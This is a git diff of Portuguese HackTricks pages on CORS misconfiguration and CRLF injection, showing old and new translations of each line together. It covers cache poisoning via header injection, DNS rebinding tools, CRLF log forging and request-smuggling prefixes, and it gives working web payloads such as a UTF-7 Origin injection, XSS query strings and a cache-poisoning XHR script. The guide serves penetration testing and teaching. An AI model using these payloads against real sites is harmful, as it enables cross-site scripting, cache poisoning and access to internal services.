Se as estrelas estiverem alinhadas, podemos usar o envenenamento de cache do lado do servidor via injeção de cabeçalho HTTP para criar uma vulnerabilidade [XSS armazenada](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
Se as estrelas estiverem alinhadas, podemos ser capazes de usar envenenamento de cache do lado do servidor via injeção de cabeçalho HTTP para criar uma vulnerabilidade de [XSS armazenado](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
Se um aplicativo **reflete** o **cabeçalho de origem** sem nem mesmo verificá-lo quanto a caracteres ilegais como `,` efetivamente temos uma vulnerabilidade de injeção de cabeçalho HTTP contra usuários do IE/Edge, já que o Internet Explorer e o Edge veem \r (0x0d) como um terminador de cabeçalho HTTP válido: `GET / HTTP/1.1`\
|
||||
Se uma aplicação **reflete** o cabeçalho **Origin** sem sequer verificar a presença de caracteres ilegais como , efetivamente temos uma **vulnerabilidade de injeção de cabeçalho HTTP contra usuários do IE/Edge, pois o Internet Explorer e o Edge consideram \r (0x0d) como um terminador de cabeçalho HTTP válido**:`GET / HTTP/1.1`\
|
||||
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
||||
|
||||
O Internet Explorer vê a resposta como:
|
||||
|
|
@ -242,24 +242,24 @@ O Internet Explorer vê a resposta como:
|
|||
`Access-Control-Allow-Origin: z`\
|
||||
`Content-Type: text/html; charset=UTF-7`
|
||||
|
||||
Isso não é diretamente explorável porque não há como um invasor fazer o navegador web de alguém enviar um cabeçalho malformado como esse, mas eu posso **criar manualmente essa solicitação no Burp Suite e um cache do lado do servidor pode salvar a resposta e servi-la para outras pessoas**. O payload que usei mudará o conjunto de caracteres da página para **UTF-7**, que é notoriamente útil para criar vulnerabilidades XSS.
|
||||
Isso não é diretamente explorável porque não há como um atacante fazer com que o navegador web de alguém envie um cabeçalho tão malformado, mas eu posso **criar manualmente esta solicitação no Burp Suite e um cache do lado do servidor pode salvar a resposta e servi-la a outras pessoas**. O payload que usei mudará o conjunto de caracteres da página para **UTF-7**, que é notoriamente útil para criar vulnerabilidades XSS.
|
||||
|
||||
### **Envenenamento de cache do lado do cliente**
|
||||
|
||||
Você pode ter encontrado ocasionalmente uma página com [XSS refletido](https://portswigger.net/web-security/cross-site-scripting/reflected) em um cabeçalho HTTP personalizado. Digamos que uma página da web reflita o conteúdo de um cabeçalho personalizado sem codificação:
|
||||
Você pode ter ocasionalmente encontrado uma página com [XSS refletido](https://portswigger.net/web-security/cross-site-scripting/reflected) em um cabeçalho HTTP personalizado. Digamos que uma página web reflita o conteúdo de um cabeçalho personalizado sem codificação:
|
||||
```http
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
X-User-id: <svg/onload=alert\(1\)>
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: \*
|
||||
Access-Control-Allow-Headers: X-User-id
|
||||
Content-Type: text/html
|
||||
...
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: \*
|
||||
Access-Control-Allow-Headers: X-User-id
|
||||
Content-Type: text/html
|
||||
...
|
||||
Invalid user: <svg/onload=alert\(1\)>\
|
||||
```
|
||||
Com o CORS, podemos enviar qualquer valor no Header. Por si só, isso é inútil, já que a resposta contendo nosso JavaScript injetado não será renderizada. No entanto, se Vary: Origin não tiver sido especificado, a resposta pode ser armazenada no cache do navegador e exibida diretamente quando o navegador navegar para a URL associada. Eu criei um fiddle para tentar esse ataque em uma URL de sua escolha. Como esse ataque usa o cache do lado do cliente, ele é bastante confiável.
|
||||
Com CORS, podemos enviar qualquer valor no Header. Por si só, **isso é inútil** já que a resposta contendo nosso **JavaScript injetado não será renderizado**. No entanto, **se Vary: Origin não foi especificado** a resposta **pode ser armazenada no cache do navegador e exibida diretamente quando o navegador navega para a URL associada**. Eu criei um fiddle para [tentar esse ataque em uma URL de sua escolha](https://jsfiddle.net/3gk8u8wu/3/). Como esse ataque usa o cache do lado do cliente, ele é na verdade bastante confiável.
|
||||
```markup
|
||||
<script>
|
||||
function gotcha() { location=url }
|
||||
|
|
@ -273,36 +273,36 @@ req.send();
|
|||
```
|
||||
## Bypass
|
||||
|
||||
### XSSI (Inclusão de Script entre Sites) / JSONP
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag `script`, a SOP não se aplica, porque os scripts devem ser capazes de serem incluídos entre domínios. Um atacante pode, assim, ler tudo o que foi incluído usando a tag `script`.
|
||||
XSSI designa um tipo de vulnerabilidade que explora o fato de que, quando um recurso é incluído usando a tag `script`, a SOP não se aplica, porque os scripts precisam poder ser incluídos entre domínios. Um atacante pode, portanto, ler tudo o que foi incluído usando a tag `script`.
|
||||
|
||||
Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiental, como cookies, são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente. Plugin do BurpSuite: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||||
Isso é especialmente interessante quando se trata de JavaScript dinâmico ou JSONP, quando informações de autoridade ambiente como cookies são usadas para autenticação. Os cookies são incluídos ao solicitar um recurso de um host diferente. Plugin do BurpSuite: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||||
|
||||
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Tente adicionar um **parâmetro de retorno de chamada** (**`callback`**) na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará de volta os dados com `Content-Type: application/javascript`, o que contornará a política CORS.
|
||||
Tente adicionar um **parâmetro `callback`** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará de volta os dados com `Content-Type: application/javascript`, o que contornará a política de CORS.
|
||||
|
||||
.png>)
|
||||
|
||||
### Bypass fácil (inútil?)
|
||||
|
||||
Você pode pedir a um aplicativo da web para fazer uma solicitação para você e enviar de volta a resposta. Isso contornará o **`Access-Control-Allow-Origin`**, mas observe que as **credenciais para a vítima final não serão enviadas** porque você estará **entrando em contato com um domínio diferente** (aquele que fará a solicitação para você).
|
||||
Você pode pedir a uma aplicação web para fazer uma solicitação por você e enviar de volta a resposta. Isso contornará o **`Access-Control-Allow-Origin`**, mas observe que as **credenciais para a vítima final não serão enviadas**, pois você estará **contatando um domínio diferente** (aquele que fará a solicitação por você).
|
||||
|
||||
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
||||
|
||||
CORS-escape fornece um **proxy** que **encaminha** nossa **solicitação** juntamente com seus **cabeçalhos**, e também **finge** o cabeçalho **Origin** (Origin = **domínio solicitado**). Assim, a **política CORS é contornada**.\
|
||||
O código-fonte está [no Github](https://github.com/shalvah/cors-escape), para que você possa **hospedar o seu próprio**.
|
||||
CORS-escape fornece um **proxy** que **passa** a nossa **solicitação** junto com seus **headers**, e também **falsifica** o header **Origin** (Origin = **domínio solicitado**). Assim, a **política de CORS é contornada**.\
|
||||
O código-fonte está [no Github](https://github.com/shalvah/cors-escape), então você pode **hospedar o seu próprio**.
|
||||
```javascript
|
||||
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
||||
```
|
||||
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
||||
|
||||
Proxying é como "passar" sua solicitação, exatamente como você a enviou. Poderíamos resolver isso de uma maneira alternativa que ainda envolve outra pessoa fazendo a solicitação para você, mas desta vez, **em vez de passar sua solicitação, o servidor faz sua própria solicitação, mas com os parâmetros que você especificou.**
|
||||
Proxying é como se fosse "passar adiante" sua solicitação, exatamente como você a enviou. Poderíamos resolver isso de uma maneira alternativa que ainda envolve alguém fazendo a solicitação por você, mas desta vez, **em vez de passar adiante sua solicitação, o servidor faz sua própria solicitação, mas com quaisquer parâmetros que você especificou.**
|
||||
|
||||
### Bypass de Iframe + Popup
|
||||
### Iframe + Popup Bypass
|
||||
|
||||
Você pode **burlar verificações CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na seguinte página:
|
||||
Você pode **burlar verificações de CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na página a seguir:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
|
@ -312,57 +312,112 @@ Você pode **burlar verificações CORS** como `e.origin === window.origin` **cr
|
|||
|
||||
.png>)
|
||||
|
||||
Basicamente, você faz a **vítima acessar sua página**, então você muda o **DNS do seu domínio (o IP)** e faz com que ele **aponte** para a **página da web da vítima**. Você faz sua **vítima executar** (**JS**) algo quando o **TTL acabar** para que uma nova solicitação DNS seja feita e, em seguida, você poderá coletar as informações (como você sempre mantém o usuário em seu domínio, ele não enviará nenhum cookie para o servidor da vítima, então essa opção **abusa dos privilégios especiais do IP da vítima**).
|
||||
Basicamente você faz o **usuário acessar sua página**, depois você muda o **DNS do seu domínio (o IP)** e faz com que ele **aponte** para a **página web da vítima**. Você faz sua **vítima executar** (**JS**) algo quando o **TTL terminar** para que uma nova solicitação de DNS seja feita e então você poderá coletar as informações (como você sempre mantém **o usuário em seu domínio**, ele não enviará **nenhum cookie** para o servidor da vítima, então esta opção **abusa dos privilégios especiais do IP da vítima**).
|
||||
|
||||
Mesmo que você defina o **TTL muito baixo** (0 ou 1), os **navegadores têm um cache** que **impedirá** que você **abusar** disso por vários segundos / minutos.
|
||||
Mesmo que você defina o **TTL muito baixo** (0 ou 1), os **navegadores têm um cache** que irá **impedir** que você **abuse** disso por vários segundos/minutos.
|
||||
|
||||
Portanto, essa técnica é útil para **burlar verificações explícitas** (a vítima está **realizando explicitamente uma solicitação DNS** para verificar o IP do domínio e quando o bot é chamado, ele fará o seu próprio).
|
||||
Portanto, essa técnica é útil para **burlar verificações explícitas** (a vítima está **realizando explicitamente uma solicitação de DNS** para verificar o IP do domínio e quando o bot é chamado ele fará sua própria).
|
||||
|
||||
Ou quando você pode ter um **usuário / bot na mesma página por um longo tempo** (para que você possa **esperar** até que o **cache expire**).
|
||||
Ou quando você pode ter um **usuário/bot na mesma página por um longo tempo** (para que você possa **esperar** até que o **cache expire**).
|
||||
|
||||
Se você precisar de algo rápido para abusar disso, pode usar um serviço como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
Se você precisar de algo rápido para abusar disso, você pode usar um serviço como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Se você quiser executar seu próprio servidor de DNS rebinding, pode usar algo como [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** em seguida, **expor** a **porta local 53/udp**, criar um **registro A apontando para ele** (ns.example.com) e criar um **registro NS** apontando para o **subdomínio A criado anteriormente** (ns.example.com).\
|
||||
Então, qualquer subdomínio desse subdomínio (ns.example.com) será resolvido pelo seu host.
|
||||
Se você quiser executar seu próprio servidor de DNS rebinding, você pode usar algo como [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** depois **exponha** sua **porta local 53/udp**, crie um **registro A apontando para ele** (ns.example.com), e crie um **registro NS** apontando para o **subdomínio A criado anteriormente**(ns.example.com).\
|
||||
Então, qualquer subdomínio desse subdomínio (ns.example.com), será resolvido pelo seu host.
|
||||
|
||||
Confira também o **servidor em execução publicamente em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
Confira também o **servidor público em execução em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
### DNS Rebinding via **DNS Cache Flooding**
|
||||
### DNS Rebinding via **Inundação do Cache de DNS**
|
||||
|
||||
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **armazenados em cache por mais tempo** do que o especificado no TTL. No entanto, há uma maneira de burlar essa defesa.
|
||||
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **em cache por mais tempo** do que o especificado no TTL. No entanto, há uma maneira de contornar essa defesa.
|
||||
|
||||
Você pode ter um trabalhador de serviço que **inunda o cache DNS para forçar uma segunda solicitação DNS**. Então, o fluxo será como:
|
||||
Você pode ter um service worker que irá **inundar o cache de DNS para forçar uma segunda solicitação de DNS**. Então o fluxo será como:
|
||||
|
||||
1. Solicitação DNS respondida com o endereço do atacante
|
||||
2. O trabalhador de serviço inunda o cache DNS (o nome do servidor atacante em cache é excluído)
|
||||
3. Segunda solicitação DNS, desta vez respondida com 127.0.0.1
|
||||
1. Solicitação de DNS respondida com endereço do atacante
|
||||
2. Service worker inunda o cache de DNS (o nome do servidor atacante em cache é deletado)
|
||||
3. Segunda solicitação de DNS desta vez respondida com 127.0.0.1
|
||||
|
||||
 (1).png>)
|
||||
|
||||
_Azul é a primeira solicitação DNS e laranja é a inundação._
|
||||
_Azul é a primeira solicitação de DNS e laranja é a inundação._
|
||||
|
||||
### DNS Rebinding via **Cache**
|
||||
|
||||
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **armazenados em cache por mais tempo** do que o especificado no TTL. No entanto, há outra maneira de burlar essa defesa.
|
||||
Como foi explicado na seção anterior, os **navegadores** têm os IPs dos domínios **em cache por mais tempo** do que o especificado no TTL. No entanto, há outra maneira de contornar essa defesa.
|
||||
|
||||
Você pode **criar 2 registros A** (ou **1 com 2 IPs**, dependendo do provedor) para o **mesmo subdomínio** no **provedor DNS** e quando um navegador os verifica, ele receberá ambos.
|
||||
Você pode **criar 2 registros A** (ou **1 com 2 IPs**, dependendo do provedor) para o **mesmo subdomínio** no **provedor de DNS** e quando um navegador verificar por eles, ele receberá ambos.
|
||||
|
||||
Agora, se o **navegador** decidir **usar o endereço IP do atacante primeiro**, o **atacante** poderá **servir** a **carga útil** que **realizará solicitações HTTP** para o mesmo **domínio**. No entanto, agora que o atacante conhece o IP da vítima, **ele deixará de responder ao navegador da vítima**.
|
||||
Agora, se o **navegador** decidir **usar primeiro o endereço IP do atacante**, o **atacante** poderá **servir** o **payload** que irá **realizar solicitações HTTP** para o mesmo **domínio**. No entanto, agora que o atacante conhece o IP da vítima, **ele parará de responder ao navegador da vítima**.
|
||||
|
||||
Quando o navegador descobrir que o **domínio não está respondendo** a ele, ele **usará o segundo IP fornecido**, então ele **acessará um lugar diferente, burlando o SOP**. O atacante pode abusar disso para **obter as informações e exfiltrá-las**.
|
||||
Quando o navegador perceber que o **domínio não está respondendo**, ele **usará o segundo IP fornecido**, então ele **acessará um local diferente burlando SOP**. O atacante pode abusar disso para **obter as informações e exfiltrá-las**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que, para acessar o localhost, você deve tentar restringir **127.0.0.1** no Windows e **0.0.0.0** no Linux.\
|
||||
Provedores como godaddy ou cloudflare não me permitiram usar o IP 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs, sendo um deles "0.0.0.0"
|
||||
Observe que para acessar localhost você deve tentar reassociar **127.0.0.1** no Windows e **0.0.0.0** no linux.\
|
||||
Provedores como godaddy ou cloudflare não me permitiram usar o ip 0.0.0.0, mas a AWS route53 me permitiu criar um registro A com 2 IPs sendo um deles "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
 (4).png>)
|
||||
|
||||
Para mais informações, você pode verificar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
Para mais informações, você pode conferir [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||
|
||||
### Outros Bypasses Comuns
|
||||
|
||||
* Se **endereços IP internos não são permitidos**, eles podem **ter esquecido de proibir 0.0.0.0** (funciona no Linux e no Mac)
|
||||
* Se **endereços IP internos não são permitidos**, responda com um **CNAME** para **localhost
|
||||
* Se **IPs internos não são permitidos**, eles podem **ter esquecido de proibir 0.0.0.0** (funciona no Linux e Mac)
|
||||
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona no Linux e Mac)
|
||||
* Se **IPs internos não são permitidos** como respostas de DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
||||
|
||||
### DNS Rebidding Armado
|
||||
|
||||
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reassociar o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
|
||||
### Proteção Real contra DNS Rebinding
|
||||
|
||||
* Use TLS em serviços internos
|
||||
* Solicite autenticação para acessar dados
|
||||
* Valide o cabeçalho Host
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposta para sempre enviar uma solicitação de pré-voo quando servidores públicos querem acessar servidores internos
|
||||
|
||||
## **Ferramentas**
|
||||
|
||||
**Fuzz possíveis má configurações em políticas de CORS**
|
||||
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
|
||||
|
||||
## Referências
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/cors" %}
|
||||
|
||||
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
|
||||
|
||||
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
|
||||
|
||||
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
|
||||
|
||||
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
|
||||
|
||||
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
|
||||
|
||||
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,19 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda a hackear na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_polonês fluente escrito e falado necessário_).
|
||||
Se você está interessado em **carreira de hacking** e em hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada exigida_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -31,7 +33,7 @@ Em um ataque de vulnerabilidade de injeção de CRLF, o atacante insere os carac
|
|||
|
||||
## Injeção de CRLF em aplicações web
|
||||
|
||||
Em aplicações web, uma injeção de CRLF pode ter impactos graves, dependendo do que a aplicação faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade direta na segurança da aplicação web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em uma aplicação web, embora nunca tenha sido listado na lista OWASP Top 10. Por exemplo, também é possível manipular arquivos de log em um painel administrativo, conforme explicado no exemplo abaixo.
|
||||
Em aplicações web, uma injeção de CRLF pode ter impactos graves, dependendo do que a aplicação faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade direta na segurança da aplicação web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito sérias em uma aplicação web, embora nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel administrativo, conforme explicado no exemplo abaixo.
|
||||
|
||||
#### Um exemplo de Injeção de CRLF em um arquivo de log
|
||||
|
||||
|
|
@ -39,7 +41,7 @@ Imagine um arquivo de log em um painel administrativo com o padrão de saída de
|
|||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
Se um atacante conseguir injetar os caracteres CRLF na requisição HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode mudar a resposta da aplicação web para algo como o abaixo:
|
||||
Se um atacante conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode mudar a resposta da aplicação web para algo como o abaixo:
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
|
@ -54,7 +56,7 @@ Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o atacante pode fal
|
|||
|
||||
O problema é que se o administrador notar que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um admin), isso não parece suspeito.
|
||||
|
||||
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro. Depois disso, há outro & com o parâmetro restricted action que será interpretado pelo servidor como outro parâmetro. Efetivamente, essa seria a mesma consulta como:
|
||||
Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um parâmetro único. Depois disso, há outro & com o parâmetro restricted action que será interpretado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
|
|
@ -71,7 +73,7 @@ Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:
|
|||
X-Your-Name: Bob
|
||||
```
|
||||
```markdown
|
||||
O valor do cabeçalho é definido por um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for diretamente refletido dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele pode inserir dados como payload XSS, por exemplo:
|
||||
O valor do cabeçalho é definido por um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for diretamente refletido dentro do cabeçalho, pode ser possível para um atacante inserir a combinação mencionada de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele pode inserir dados como payload de XSS, por exemplo:
|
||||
```
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
|
|
@ -82,7 +84,7 @@ O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.
|
|||
|
||||
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
|
||||
|
||||
Navegue para:
|
||||
Navegador para:
|
||||
```
|
||||
/%0d%0aLocation:%20http://myweb.com
|
||||
```
|
||||
|
|
@ -154,7 +156,7 @@ Especificando um **prefixo malicioso** para envenenar a requisição do próximo
|
|||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
|
||||
|
||||
Ou criando nosso prefixo para combinar com o lixo remanescente e criar uma segunda requisição completa para acionar **response queue poisoning**.
|
||||
Ou criando nosso prefixo para combinar com o lixo final e criar uma segunda requisição completa para acionar o **envenenamento da fila de resposta**.
|
||||
|
||||
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
|
||||
|
||||
|
|
@ -170,25 +172,25 @@ Memcache é um **armazenamento de chave-valor que usa um protocolo de texto clar
|
|||
|
||||
Se uma plataforma está tomando **dados de uma requisição HTTP e os utilizando sem sanitização** para realizar **requisições** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
|
||||
|
||||
Por exemplo, na vulnerabilidade originalmente descoberta, chaves de cache eram usadas para retornar o IP e porta que um usuário deveria se conectar, e atacantes conseguiram **injetar comandos memcache** que iriam **envenenar** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do atacante:
|
||||
Por exemplo, na vulnerabilidade originalmente descoberta, chaves de cache eram usadas para retornar o IP e a porta aos quais um usuário deveria se conectar, e os atacantes conseguiram **injetar comandos memcache** que iriam **envenenar** o **cache para enviar os detalhes das vítimas** (incluindo nomes de usuário e senhas) para os servidores do atacante:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Além disso, pesquisadores também descobriram que eles poderiam dessincronizar as respostas do memcache para enviar o IP e portas dos atacantes para usuários cujo email o atacante não conhecia:
|
||||
Além disso, os pesquisadores também descobriram que eles poderiam dessincronizar as respostas do memcache para enviar o IP e portas do atacante para usuários cujo email o atacante não conhecia:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
|
